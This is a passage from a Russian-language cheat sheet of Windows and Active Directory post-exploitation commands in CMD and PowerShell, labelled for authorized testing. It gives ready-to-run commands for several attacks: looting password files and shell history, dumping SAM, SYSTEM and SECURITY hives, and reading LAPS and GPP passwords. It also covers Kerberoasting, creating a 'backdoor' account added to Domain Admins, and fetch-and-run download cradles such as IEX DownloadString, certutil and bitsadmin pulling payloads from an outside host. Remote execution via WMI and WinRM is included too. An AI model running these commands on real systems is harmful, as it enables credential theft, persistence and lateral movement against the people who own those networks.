dir /s /b /a C:\ProgramData\*.ini C:\ProgramData\*.config
```

**PowerShell — формат:** список расширений расширяем по необходимости:
```powershell
Get-ChildItem <DIR> -Recurse -File -EA SilentlyContinue -Include `
  *.txt, *.xml, *.config, *.ini, *.bak, *.sql, *.log,
  *.ps1, *.bat, *.cmd, *.vbs, *.conf, *.cfg, *.yaml, *.yml, *.json |
  Select-Object FullName, Length, LastWriteTime |
  Sort-Object LastWriteTime -Descending
```

**PowerShell — пример:** найти по всему диску C, результат — в файл:
```powershell
Get-ChildItem C:\ -Recurse -File -EA SilentlyContinue -Include `
  *.txt, *.xml, *.config, *.ini, *.bak, *.sql, *.conf, *.yaml, *.json |
  Select-Object FullName, Length, LastWriteTime |
  Sort-Object LastWriteTime -Descending |
  Export-Csv C:\Temp\sensitive_files.csv -NoTypeInformation
```

---

#### 7. Поиск баз паролей KeePass и аналогов

**Задача:** Найти файлы менеджеров паролей — KeePass (`.kdbx`), KeePassX, Bitwarden и т.п. Наличие `.kdbx` означает, что нужно найти мастер-пароль (в памяти, в реестре, рядом с файлом) или взять файл для офлайн-брута. ⚠️

**CMD — формат:** поиск по расширению по всему диску:
```
dir /s /b C:\*.kdbx
dir /s /b C:\*.kdb
dir /s /b C:\*.1pux
dir /s /b C:\*.dashlane
```

**CMD — пример:** найти все .kdbx на всех дисках:
```
for %d in (C D E F) do @dir /s /b %d:\*.kdbx 2>nul
```

**PowerShell — формат:**
```powershell
Get-ChildItem <DIR> -Recurse -File -EA SilentlyContinue -Include *.kdbx,*.kdb |
  Select-Object FullName, LastWriteTime, Length
```

**PowerShell — пример:** искать по всему C:, вывести пути:
```powershell
Get-ChildItem C:\ -Recurse -File -EA SilentlyContinue -Include *.kdbx,*.kdb |
  Select-Object FullName, LastWriteTime, Length
```

---

#### 8. Файлы ответов и автоматической установки Windows

**Задача:** Файлы ответов (`unattend.xml`, `sysprep.inf`, `autounattend.xml`) содержат учётные данные в открытом виде или в Base64. Их часто забывают убрать после развёртывания. ⚠️

**CMD — формат:** проверить стандартные пути:
```
dir /s /b C:\unattend.xml
dir /s /b C:\sysprep.inf
dir /s /b C:\autounattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\system32\sysprep\Unattend.xml
```

**CMD — пример:** найти все файлы ответов на диске:
```
dir /s /b C:\unattend* C:\autounattend* C:\sysprep.inf 2>nul
```

**PowerShell — формат:**
```powershell
Get-ChildItem C:\ -Recurse -File -EA SilentlyContinue -Include unattend.xml,autounattend.xml,sysprep.inf |
  Select-Object FullName
```

**PowerShell — пример:** найти и сразу вывести содержимое:
```powershell
Get-ChildItem C:\ -Recurse -File -EA SilentlyContinue -Include unattend.xml,autounattend.xml,sysprep.inf |
  ForEach-Object { Write-Host "=== $($_.FullName) ==="; Get-Content $_.FullName }
```

---

#### 9. История команд PowerShell и CMD

**Задача:** Прочитать историю команд — администраторы часто вводят пароли прямо в терминал (`-Password`, `net use /user:... pass`). История PowerShell хранится в файле, история CMD — только в памяти текущей сессии. ⚠️

**CMD — формат:** история текущей CMD-сессии (только в памяти):
```
doskey /history
```

**CMD — пример:**
```
doskey /history
```

**PowerShell — формат:** путь к файлу истории / чтение истории:
```powershell
(Get-PSReadLineOption).HistorySavePath
Get-Content (Get-PSReadLineOption).HistorySavePath
```

**PowerShell — пример:** найти строки с паролями в истории всех пользователей:
```powershell
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -EA SilentlyContinue |
  ForEach-Object {
    Write-Host "=== $($_.FullName) ==="
    Get-Content $_.FullName | Select-String -Pattern 'pass|pwd|cred|secret|token'
  }
```

---

#### 10. Конфиги веб-серверов и приложений

**Задача:** Конфиги IIS, Apache, Tomcat, PHP и web-приложений содержат строки подключения к БД, ключи API и сервисные пароли. ⚠️

**CMD — формат:** стандартные пути IIS:
```
type C:\inetpub\wwwroot\web.config
type C:\inetpub\wwwroot\appsettings.json
dir /s /b C:\inetpub\*.config
dir /s /b C:\inetpub\*.json
```

**CMD — пример:** найти все web.config во вложенных сайтах:
```
dir /s /b C:\inetpub\*.config
findstr /s /i "password\|connectionString\|appKey" C:\inetpub\*.config
```

**PowerShell — формат:**
```powershell
Get-ChildItem C:\inetpub -Recurse -File -EA SilentlyContinue -Include *.config,*.json,*.xml |
  Select-String -Pattern 'password|connectionString|appKey|apiKey|secret' |
  Select-Object Path, LineNumber, Line
```

**PowerShell — пример:**
```powershell
Get-ChildItem C:\inetpub -Recurse -File -EA SilentlyContinue -Include *.config,*.json,*.xml |
  Select-String -Pattern 'password|connectionString|appKey|apiKey|secret' |
  Select-Object Path, LineNumber, Line
```

---

### Раздел 3. Реестр и приложения

---

#### 11. AutoLogon — пароль в реестре

**Задача:** Проверить ключ AutoLogon — пароль учётной записи автовхода хранится в реестре в открытом виде. Очень часто встречается на воркстейшн-образах и киосках. ⚠️

**CMD — формат:**
```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

**CMD — пример:** вытащить только интересные поля:
```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" | findstr /i "DefaultUser\|DefaultPass\|AutoLogon"
```

**PowerShell — формат:**
```powershell
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' |
  Select-Object DefaultUserName, DefaultPassword, AutoAdminLogon
```

**PowerShell — пример:**
```powershell
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' |
  Select-Object DefaultUserName, DefaultPassword, AutoAdminLogon
```

---

#### 12. Сохранённые пароли в приложениях (PuTTY, VNC, WinSCP)

**Задача:** Популярные SSH/RDP-клиенты хранят сессии и пароли в реестре. PuTTY — список хостов и ключи, VNC — пароль в слабом шифровании, WinSCP — пароли в HKCU. ⚠️

**CMD — формат:** PuTTY сессии / VNC / WinSCP:
```
reg query HKCU\Software\SimonTatham\PuTTY\Sessions
reg query HKCU\Software\ORL\WinVNC3\Password
reg query HKCU\Software\TightVNC\Server
reg query HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
```

**CMD — пример:** вывести все сессии PuTTY:
```
reg query HKCU\Software\SimonTatham\PuTTY\Sessions
```

**PowerShell — формат:** собрать всё в один проход:
```powershell
@(
  'HKCU:\Software\SimonTatham\PuTTY\Sessions',
  'HKCU:\Software\ORL\WinVNC3\Password',
  'HKCU:\Software\TightVNC\Server',
  'HKCU:\Software\Martin Prikryl\WinSCP 2\Sessions'
) | ForEach-Object {
  Write-Host "=== $_ ==="
  Get-ItemProperty $_ -EA SilentlyContinue
}
```

**PowerShell — пример:**
```powershell
@(
  'HKCU:\Software\SimonTatham\PuTTY\Sessions',
  'HKCU:\Software\ORL\WinVNC3\Password',
  'HKCU:\Software\TightVNC\Server',
  'HKCU:\Software\Martin Prikryl\WinSCP 2\Sessions'
) | ForEach-Object {
  Write-Host "=== $_ ==="
  Get-ItemProperty $_ -EA SilentlyContinue
}
```

---

### Раздел 4. Локальные учётные данные

---

#### 13. Windows Credential Manager (cmdkey)

**Задача:** Перечислить сохранённые учётные данные — подключения к серверам, веб-сайтам, сетевым ресурсам. Хранятся в профиле пользователя в зашифрованном виде (DPAPI), но имена и цели видны без расшифровки. ⚠️

**CMD — формат:** список всех сохранённых кредов:
```
cmdkey /list
```

**CMD — пример:**
```
cmdkey /list
```

**PowerShell — формат:** через Credential Manager API:
```powershell
[Windows.Security.Credentials.PasswordVault, Windows.Security.Credentials, ContentType=WindowsRuntime]::new().RetrieveAll() | Select-Object UserName, Resource
```

**PowerShell — пример:** перечислить сохранённые Windows-кредиты:
```powershell
$vault = [Windows.Security.Credentials.PasswordVault, Windows.Security.Credentials, ContentType=WindowsRuntime]::new()
$vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ } | Select-Object UserName, Resource, Password
```

---

#### 14. Извлечение SAM и SYSTEM (дамп локальных хэшей)

**Задача:** Сохранить кусты реестра SAM и SYSTEM для офлайн-извлечения NTLM-хэшей локальных пользователей. SAM заблокирован ОС — нужно обращаться через теневую копию или `reg save` с правами Admin. Требует прав администратора. ⚠️

**CMD — формат:** сохранить через `reg save` (оба куста нужны вместе):
```
reg save HKLM\SAM C:\Temp\sam.hive
reg save HKLM\SYSTEM C:\Temp\system.hive
reg save HKLM\SECURITY C:\Temp\security.hive
```

**CMD — пример:** сохранить три куста и упаковать:
```
reg save HKLM\SAM C:\Temp\sam.hive /y
reg save HKLM\SYSTEM C:\Temp\system.hive /y
reg save HKLM\SECURITY C:\Temp\security.hive /y
```

**CMD — формат:** альтернатива через теневую копию — не требует блокировки:
```
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\sam.hive
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\system.hive
```

*PowerShell-эквивалент:* `reg save` и `vssadmin` запускаются из PS как внешние команды без изменений.

---

#### 15. LSA Secrets и кэш доменных хэшей

**Задача:** LSA Secrets (HKLM\SECURITY\Policy\Secrets) хранят пароли сервисных аккаунтов, кэш доменных логинов (DCC2), пароль компьютерного аккаунта. Читаются только от SYSTEM. ⚠️

**CMD — формат:** просмотр списка ключей (имена видны без SYSTEM):
```
reg query HKLM\SECURITY\Policy\Secrets
```

**CMD — пример:**
```
reg query HKLM\SECURITY\Policy\Secrets
```

*Для извлечения содержимого нужен инструмент с доступом от SYSTEM (например, `secretsdump.py` на атакующей машине с тремя кустами из главы 14).*

**PowerShell — формат:** список ключей:
```powershell
Get-ChildItem 'HKLM:\SECURITY\Policy\Secrets' -EA SilentlyContinue
```

**PowerShell — пример:** сохранить куст SECURITY для офлайн-анализа:
```powershell
reg save HKLM\SECURITY C:\Temp\security.hive /y
```

---

### Раздел 5. AD как источник паролей

---

#### 16. GPP cpassword — пароль в SYSVOL

**Задача:** До MS14-025 пароли в групповых политиках (GPP) шифровались статическим ключом AES, который Microsoft сама опубликовала. Файл `Groups.xml` в SYSVOL доступен любому аутентифицированному пользователю домена. ⚠️

**CMD — формат:** найти Groups.xml в SYSVOL — `<DOMAIN>` заменить на FQDN домена:
```
dir /s /b \\<DOMAIN>\SYSVOL\*.xml
findstr /s /i "cpassword" \\<DOMAIN>\SYSVOL\*
```

**CMD — пример:**
```
findstr /s /i "cpassword" \\corp.local\SYSVOL\*
```

**PowerShell — формат:** найти все xml и отфильтровать по `cpassword`:
```powershell
Get-ChildItem \\<DOMAIN>\SYSVOL -Recurse -File -Include *.xml -EA SilentlyContinue |
  Select-String -Pattern 'cpassword' |
  Select-Object Path, Line
```

**PowerShell — пример:**
```powershell
Get-ChildItem \\corp.local\SYSVOL -Recurse -File -Include *.xml -EA SilentlyContinue |
  Select-String -Pattern 'cpassword' |
  Select-Object Path, Line
```

---

#### 17. Поле Description учётных записей AD

**Задача:** Администраторы нередко оставляют временные пароли в поле `Description` учётных записей — «Временный пароль: Welcome1!». Поле видно любому пользователю домена. ⚠️

**CMD — формат:** выгрузить описания всех пользователей домена:
```
net user /domain | findstr /v "The command\|------\|User accounts"
```

*Детальный просмотр Description — через PowerShell или LDAP.*

**PowerShell — формат:** перечислить пользователей с непустым полем Description:
```powershell
Get-ADUser -Filter * -Properties Description |
  Where-Object { $_.Description -ne $null -and $_.Description -ne '' } |
  Select-Object SamAccountName, Description
```

**PowerShell — пример:** искать ключевые слова прямо в Description:
```powershell
Get-ADUser -Filter * -Properties Description |
  Where-Object { $_.Description -match 'pass|temp|pwd|initial|welcome|P@ss' } |
  Select-Object SamAccountName, Description
```

---

#### 18. LAPS — чтение пароля локального администратора

**Задача:** Если LAPS развёрнут, атрибут `ms-Mcs-AdmPwd` хранит текущий пароль локального Admin машины. Читать его могут только делегированные пользователи/группы — стоит проверить, не включены ли мы в список. ⚠️

**CMD — формат:**
```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
```

**PowerShell — формат:** прочитать атрибут LAPS для конкретного компьютера — `<COMPUTERNAME>` замените на имя машины:
```powershell
Get-ADComputer <COMPUTERNAME> -Properties ms-Mcs-AdmPwd | Select-Object Name, 'ms-Mcs-AdmPwd'
```

**PowerShell — пример:** прочитать LAPS-пароль для всех машин, к которым есть доступ:
```powershell
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd |
  Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } |
  Select-Object Name, 'ms-Mcs-AdmPwd'
```

---

#### 19. Kerberoasting — получение хэша сервисного аккаунта

**Задача:** Любой пользователь домена может запросить TGS-тикет для аккаунта с SPN — тикет шифруется паролем аккаунта. Тикет можно взять офлайн на брут. Первый шаг — найти аккаунты с SPN. ⚠️

**CMD — формат:** найти учётные записи с SPN через setspn:
```
setspn -T <DOMAIN> -Q */*
```

**CMD — пример:**
```
setspn -T corp.local -Q */*
```

**PowerShell — формат:** через AD — только аккаунты пользователей (не машин) с SPN:
```powershell
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } -Properties ServicePrincipalName |
  Select-Object SamAccountName, ServicePrincipalName
```

**PowerShell — пример:** найти сервисные аккаунты с SPN и датой смены пароля:
```powershell
Get-ADUser -Filter { ServicePrincipalName -ne "$null" } `
  -Properties ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
  Select-Object SamAccountName, ServicePrincipalName, PasswordLastSet, PasswordNeverExpires |
  Sort-Object PasswordLastSet
```

---

#### 20. AS-REP Roasting — аккаунты без предварительной аутентификации

**Задача:** Аккаунты с флагом `DONT_REQ_PREAUTH` отдают AS-REP без пароля — часть ответа шифруется паролем пользователя и доступна для офлайн-брута без кредов домена. ⚠️

*CMD-эквивалента нет — используйте PowerShell с модулем AD.*

**PowerShell — формат:** найти аккаунты с выключенной предварительной аутентификацией:
```powershell
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth |
  Select-Object SamAccountName, DoesNotRequirePreAuth, PasswordLastSet
```

**PowerShell — пример:**
```powershell
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } -Properties DoesNotRequirePreAuth, PasswordLastSet |
  Select-Object SamAccountName, PasswordLastSet
```

---

### Раздел 6. Сетевые шары как источник секретов

---

#### 21. Поиск шар с доступом на чтение

**Задача:** Найти сетевые шары в домене, доступные текущему пользователю — `net view` + `net use` или LDAP-запрос к AD для поиска всех машин. ⚠️

**CMD — формат:** список хостов в домене / шары на конкретном хосте:
```
net view /domain
net view \\<TARGET>
```

**CMD — пример:** посмотреть шары на найденном хосте:
```
net view /domain
net view \\fileserver01
```

**PowerShell — формат:** получить все компьютеры домена и опросить их шары:
```powershell
Get-ADComputer -Filter * | ForEach-Object {
  $h = $_.Name
  Get-SmbShare -CimSession $h -EA SilentlyContinue |
    Select-Object @{n='Host'; e={$h}}, Name, Path
}
```

**PowerShell — пример:** быстрая проверка конкретного хоста:
```powershell
Get-SmbShare -CimSession fileserver01 | Select-Object Name, Path, Description
```

---

#### 22. Поиск паролей в содержимом сетевых шар

**Задача:** После монтирования шары — рекурсивный поиск чувствительных файлов и паролей по содержимому. Поиск проводим аналогично локальному из Раздела 2, но стартуем с буквы примонтированной шары. `Z:` — буква смонтированной шары, замените при необходимости. ⚠️

**CMD — формат:** подключить шару и искать по содержимому:
```
net use Z: \\<TARGET>\<SHARE>
findstr /s /i /m "password" Z:\*.*
dir /s /b Z:\*.kdbx Z:\*.config Z:\*.xml
```

**CMD — пример:** найти файлы с паролями на шаре `data` хоста `fileserver01`:
```
net use Z: \\fileserver01\data
findstr /s /i /m "password" Z:\*.*
net use Z: /delete
```

**PowerShell — формат:**
```powershell
New-SmbMapping -LocalPath Z: -RemotePath \\<TARGET>\<SHARE> -EA SilentlyContinue
Get-ChildItem Z:\ -Recurse -File -EA SilentlyContinue -Include *.txt,*.xml,*.config,*.ini,*.kdbx,*.bak |
  Select-Object FullName, LastWriteTime, Length |
  Sort-Object LastWriteTime -Descending
Remove-SmbMapping Z: -Force
```

**PowerShell — пример:** смонтировать, найти чувствительные файлы, отмонтировать:
```powershell
New-SmbMapping -LocalPath Z: -RemotePath \\fileserver01\data -EA SilentlyContinue
Get-ChildItem Z:\ -Recurse -File -EA SilentlyContinue -Include *.txt,*.xml,*.config,*.kdbx |
  Select-Object FullName, LastWriteTime |
  Sort-Object LastWriteTime -Descending |
  Export-Csv C:\Temp\share_files.csv -NoTypeInformation
Remove-SmbMapping Z: -Force
```

---

#### 23. SYSVOL и NETLOGON — скрипты и конфиги домена

**Задача:** SYSVOL и NETLOGON доступны всем аутентифицированным пользователям домена. В логон-скриптах и конфигах GPO нередко хранятся пароли, пути к ресурсам и ключи. ⚠️

**CMD — формат:** подключиться и найти скрипты. `<DOMAIN>` — FQDN домена:
```
dir \\<DOMAIN>\NETLOGON
dir /s /b \\<DOMAIN>\SYSVOL\*.bat
dir /s /b \\<DOMAIN>\SYSVOL\*.ps1
dir /s /b \\<DOMAIN>\SYSVOL\*.vbs
findstr /s /i "password\|pass=" \\<DOMAIN>\SYSVOL\*
```

**CMD — пример:** найти скрипты и пароли в SYSVOL домена corp.local:
```
dir /s /b \\corp.local\SYSVOL\*.bat \\corp.local\SYSVOL\*.ps1
findstr /s /i "password" \\corp.local\SYSVOL\*
```

**PowerShell — формат:**
```powershell
Get-ChildItem \\<DOMAIN>\SYSVOL -Recurse -File -EA SilentlyContinue -Include *.bat,*.ps1,*.vbs,*.xml,*.ini |
  Select-String -Pattern 'password|pass=|pwd=' |
  Select-Object Path, Line
```

**PowerShell — пример:**
```powershell
Get-ChildItem \\corp.local\SYSVOL -Recurse -File -EA SilentlyContinue -Include *.bat,*.ps1,*.vbs,*.xml,*.ini |
  Select-String -Pattern 'password|pass=|pwd=|cpassword' |
  Select-Object Path, Line
```

---

*Конец Блока 3. AD и латеральное движение — Блок 4. Разведка и Kerberos — Блок 5.*

## Блок 4 — AD, учётные данные и латеральное движение (CMD / PowerShell)

Управление AD и локальными аккаунтами, download cradles, распределение файлов,
туннелирование, проброс портов, подключение к удалённым хостам.
⚠️ — особенно полезно на этапе движения по сети.
Только для авторизованного тестирования.

---

### Раздел 1. Управление AD-пользователями и группами

---

#### 1. Перечисление пользователей домена

**Задача:** Получить список всех или фильтрованных пользователей AD с нужными атрибутами. Помогает найти активные аккаунты, сервисные учётки, аккаунты с не истекающим паролем. ⚠️

**CMD — формат:** все пользователи домена / поиск по имени:
```
net user /domain
net user <USER> /domain
```

**CMD — пример:** детали конкретного пользователя в домене:
```
net user jsmith /domain
```

**PowerShell — формат:** все / фильтр по атрибуту / конкретный пользователь:
```powershell
Get-ADUser -Filter *  -Properties *
Get-ADUser -Filter { Enabled -eq $true } -Properties PasswordNeverExpires, LastLogonDate
Get-ADUser -Identity <USER> -Properties *
```

**PowerShell — пример:** активные пользователи с паролем без истечения и датой последнего входа:
```powershell
Get-ADUser -Filter { Enabled -eq $true } -Properties PasswordNeverExpires, LastLogonDate, Description |
  Select-Object SamAccountName, PasswordNeverExpires, LastLogonDate, Description |
  Sort-Object LastLogonDate -Descending
```

---

#### 2. Создание и удаление пользователя

**Задача:** Создать нового пользователя — для бэкдора или тестовой учётки. Добавить в нужные группы. Убрать после теста. `<USER>`, `<PASSWORD>`, `<OU>` — параметры учётной записи.

**CMD — формат:** создать локального / доменного / добавить в Admins / удалить:
```
net user <USER> <PASSWORD> /add
net user <USER> <PASSWORD> /add /domain
net localgroup administrators <USER> /add
net user <USER> /delete
```

**CMD — пример:** создать локального пользователя `svc_test` и добавить в администраторы:
```
net user svc_test P@ssw0rd123 /add
net localgroup administrators svc_test /add
```

**PowerShell — формат:** доменный пользователь через ADUC:
```powershell
New-ADUser -Name "<USER>" -AccountPassword (ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force) -Enabled $true -Path "<OU>"
Add-ADGroupMember -Identity "<GROUP>" -Members "<USER>"
Remove-ADUser -Identity "<USER>" -Confirm:$false
```

**PowerShell — пример:** создать доменного пользователя в OU Users и добавить в Domain Admins:
```powershell
New-ADUser -Name "svc_test" -SamAccountName "svc_test" `
  -AccountPassword (ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force) `
  -Enabled $true -Path "OU=Users,DC=corp,DC=local"
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_test"
```

---

#### 3. Управление группами AD

**Задача:** Просмотреть состав групп, добавить или убрать пользователя. Ключевые группы для эскалации: `Domain Admins`, `Enterprise Admins`, `Backup Operators`, `DnsAdmins`. ⚠️

**CMD — формат:** состав группы / добавить участника:
```
net group "<GROUP>" /domain
net group "<GROUP>" <USER> /add /domain
net group "<GROUP>" <USER> /delete /domain
```

**CMD — пример:** состав Domain Admins:
```
net group "Domain Admins" /domain
```

**PowerShell — формат:**
```powershell
Get-ADGroupMember -Identity "<GROUP>" -Recursive
Add-ADGroupMember -Identity "<GROUP>" -Members "<USER>"
Remove-ADGroupMember -Identity "<GROUP>" -Members "<USER>" -Confirm:$false
```

**PowerShell — пример:** рекурсивно показать всех членов Domain Admins:
```powershell
Get-ADGroupMember -Identity "Domain Admins" -Recursive |
  Select-Object SamAccountName, objectClass
```

---

#### 4. Управление локальными пользователями

**Задача:** Создать, удалить, включить/отключить локальную учётную запись, добавить в локальные администраторы. Не требует доступа к домену. `<USER>` — имя учётки.

**CMD — формат:** создать / включить / добавить в Admins / удалить:
```
net user <USER> <PASSWORD> /add
net user <USER> /active:yes
net user <USER> /active:no
net localgroup administrators <USER> /add
net user <USER> /delete
```

**CMD — пример:** включить встроенный аккаунт Administrator (часто отключён):
```
net user Administrator /active:yes
net user Administrator NewP@ss123
```

**PowerShell — формат:**
```powershell
New-LocalUser -Name "<USER>" -Password (ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force) -PasswordNeverExpires
Enable-LocalUser -Name "<USER>"
Disable-LocalUser -Name "<USER>"
Add-LocalGroupMember -Group Administrators -Member "<USER>"
Remove-LocalUser -Name "<USER>"
```

**PowerShell — пример:**
```powershell
New-LocalUser -Name "backdoor" -Password (ConvertTo-SecureString "P@ss1234!" -AsPlainText -Force) -PasswordNeverExpires
Add-LocalGroupMember -Group Administrators -Member "backdoor"
```

---

### Раздел 2. Download Cradles — скачивание и запуск

---

#### 5. Скачивание файла через PowerShell

**Задача:** Загрузить файл с удалённого сервера на целевую машину. `Invoke-WebRequest` — самый удобный способ, работает начиная с PowerShell 3.0. `<URL>` — ссылка на файл, `<OUT>` — куда сохранить. ⚠️

**PowerShell — формат:**
```powershell
Invoke-WebRequest -Uri "<URL>" -OutFile "<OUT>"
(New-Object Net.WebClient).DownloadFile("<URL>", "<OUT>")
```

**PowerShell — пример:** скачать инструмент в Temp:
```powershell
Invoke-WebRequest -Uri "http://192.168.1.100/tool.exe" -OutFile "C:\Temp\tool.exe"
```

*CMD-эквивалент: нативного wget/curl в CMD нет — используйте `curl.exe` (Раздел 7) или `certutil` (Раздел 8).*

---

#### 6. Запуск скрипта прямо из сети без записи на диск

**Задача:** Загрузить и немедленно выполнить PowerShell-скрипт в памяти, не сохраняя на диск. Обходит часть AV-проверок на основе имён файлов. `<URL>` — ссылка на `.ps1` скрипт. ⚠️

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:**
```powershell
IEX (New-Object Net.WebClient).DownloadString("<URL>")
```

**PowerShell — пример:** запустить скрипт разведки PowerView прямо в памяти:
```powershell
IEX (New-Object Net.WebClient).DownloadString("http://192.168.1.100/PowerView.ps1")
```

---

#### 7. Скачивание через certutil

**Задача:** Загрузить файл через `certutil` — встроенный бинарь Windows, часто не блокируется политиками. Полезен как альтернатива, когда PowerShell ограничен. `<URL>` — ссылка, `<OUT>` — путь сохранения. ⚠️

**CMD — формат:**
```
certutil -urlcache -f -split "<URL>" "<OUT>"
```

**CMD — пример:**
```
certutil -urlcache -f -split "http://192.168.1.100/nc.exe" C:\Temp\nc.exe
```

*В PowerShell запускается как внешняя команда без изменений.*

---

#### 8. Скачивание через BITS (bitsadmin)

**Задача:** Загрузить файл в фоне через BITS — встроенный сервис Windows, его трафик реже попадает в SIEM-сигнатуры. `<URL>` — ссылка, `<OUT>` — путь сохранения.

**CMD — формат:** создать задачу / дождаться / завершить:
```
bitsadmin /transfer myJob /download /priority normal "<URL>" "<OUT>"
```

**CMD — пример:**
```
bitsadmin /transfer getFile /download /priority normal "http://192.168.1.100/payload.exe" C:\Temp\payload.exe
```

**PowerShell — формат:**
```powershell
Start-BitsTransfer -Source "<URL>" -Destination "<OUT>"
```

**PowerShell — пример:**
```powershell
Start-BitsTransfer -Source "http://192.168.1.100/payload.exe" -Destination "C:\Temp\payload.exe"
```

---

#### 9. Скачивание через curl.exe

**Задача:** `curl.exe` встроен в Windows 10 1803+ и Server 2019+. Более привычный синтаксис, поддерживает заголовки, методы и POST. `<URL>` — ссылка, `<OUT>` — куда сохранить.

**CMD — формат:**
```
curl.exe -o "<OUT>" "<URL>"
curl.exe -L -o "<OUT>" "<URL>"
```
`-L` — следовать редиректам

**CMD — пример:**
```
curl.exe -o C:\Temp\tool.exe http://192.168.1.100/tool.exe
```

**PowerShell — формат:** тот же `curl.exe`, PS-алиас `curl` в PS 5+ ссылается на `Invoke-WebRequest`:
```powershell
curl.exe -o "<OUT>" "<URL>"
```

**PowerShell — пример:**
```powershell
curl.exe -o C:\Temp\tool.exe http://192.168.1.100/tool.exe
```

---

### Раздел 3. Подключение к удалённым хостам

---

#### 10. WinRM / PowerShell Remoting — интерактивная сессия

**Задача:** Открыть интерактивную PowerShell-сессию на удалённом хосте. Требует, чтобы WinRM был включён на цели (по умолчанию включён на Server 2012+, на воркстейшнах — часто нет). `<TARGET>` — IP или hostname, `<USER>` / `<PASSWORD>` — учётные данные.

**PowerShell — формат:** с явными кредами / без (текущий контекст):
```powershell
$cred = Get-Credential
Enter-PSSession -ComputerName <TARGET> -Credential $cred
Enter-PSSession -ComputerName <TARGET>
```

**PowerShell — пример:** подключиться к хосту `192.168.1.20` с конкретными кредами:
```powershell
$cred = New-Object PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))
Enter-PSSession -ComputerName 192.168.1.20 -Credential $cred
```

*CMD-эквивалента нет. Включить WinRM на цели: `winrm quickconfig` или `Enable-PSRemoting -Force`.*

---

#### 11. Invoke-Command — выполнение команды на удалённом хосте

**Задача:** Выполнить команду или скрипт-блок на одном или нескольких хостах без создания интерактивной сессии. Результат возвращается в текущую PS-сессию как объекты. `<TARGET>` — IP/hostname, `<CMD>` — команда или блок кода. ⚠️

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:** одна команда / скрипт-блок / с явными кредами:
```powershell
Invoke-Command -ComputerName <TARGET> -ScriptBlock { <CMD> }
Invoke-Command -ComputerName <TARGET> -Credential $cred -ScriptBlock { <CMD> }
```

**PowerShell — пример:** получить локальных администраторов с удалённого хоста:
```powershell
$cred = New-Object PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))
Invoke-Command -ComputerName 192.168.1.20 -Credential $cred -ScriptBlock {
  Get-LocalGroupMember -Group Administrators
}
```

---

#### 12. Постоянная PS-сессия (New-PSSession)

**Задача:** Создать переиспользуемую сессию к удалённому хосту, не переаутентифицируясь при каждом вызове. Хранит контекст: переменные, импортированные модули, текущую директорию. Нужна при многократных вызовах к одному хосту. `<TARGET>` — IP/hostname, `<SESSION>` — переменная сессии.

*CMD-эквивалента нет — используйте PowerShell.*

**PowerShell — формат:** открыть / использовать / закрыть:
```powershell
$session = New-PSSession -ComputerName <TARGET> -Credential $cred
Invoke-Command -Session $session -ScriptBlock { <CMD> }
Copy-Item -Path <FILE> -Destination <OUT> -ToSession $session
Remove-PSSession $session
```

**PowerShell — пример:** открыть сессию, запустить разведку, скопировать файл, закрыть:
```powershell
$cred = New-Object PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))
$session = New-PSSession -ComputerName 192.168.1.20 -Credential $cred
Invoke-Command -Session $session -ScriptBlock { whoami; ipconfig }
Copy-Item -Path "C:\Temp\tool.ps1" -Destination "C:\Temp\" -ToSession $session
Remove-PSSession $session
```

---

#### 13. WMI — удалённое выполнение процесса

**Задача:** Запустить процесс на удалённом хосте через WMI — работает даже когда WinRM отключён, использует DCOM (порт 135 + случайный RPC). `<TARGET>` — IP/hostname, `<CMD>` — командная строка запускаемого процесса. ⚠️

**CMD — формат:**
```
wmic /node:<TARGET> /user:<USER> /password:<PASSWORD> process call create "<CMD>"
```

**CMD — пример:** запустить cmd-команду на удалённом хосте:
```
wmic /node:192.168.1.20 /user:CORP\jsmith /password:P@ssw0rd process call create "cmd /c whoami > C:\Temp\out.txt"
```

**PowerShell — формат:**
```powershell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "<CMD>" `
  -ComputerName <TARGET> -Credential $cred
```

**PowerShell — пример:**
```powershell
$cred = New-Object PSCredential("CORP\jsmith", (ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force))
Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList "cmd /c whoami > C:\Temp\out.txt" `
  -ComputerName 192.168.1.20 -Credential $cred
```

---

#### 14. RDP — подключение из командной строки

**Задача:** Запустить RDP-клиент к нужному хосту прямо из терминала — удобно при автоматизации или когда нужно быстро открыть несколько сессий. `<TARGET>` — IP или hostname.

**CMD — формат:** базовое / с параметрами / с сохранёнными кредами:
```
mstsc /v:<TARGET>
mstsc /v:<TARGET> /w:1920 /h:1080 /f
cmdkey /generic:<TARGET> /user:<USER> /pass:<PASSWORD> && mstsc /v:<TARGET>
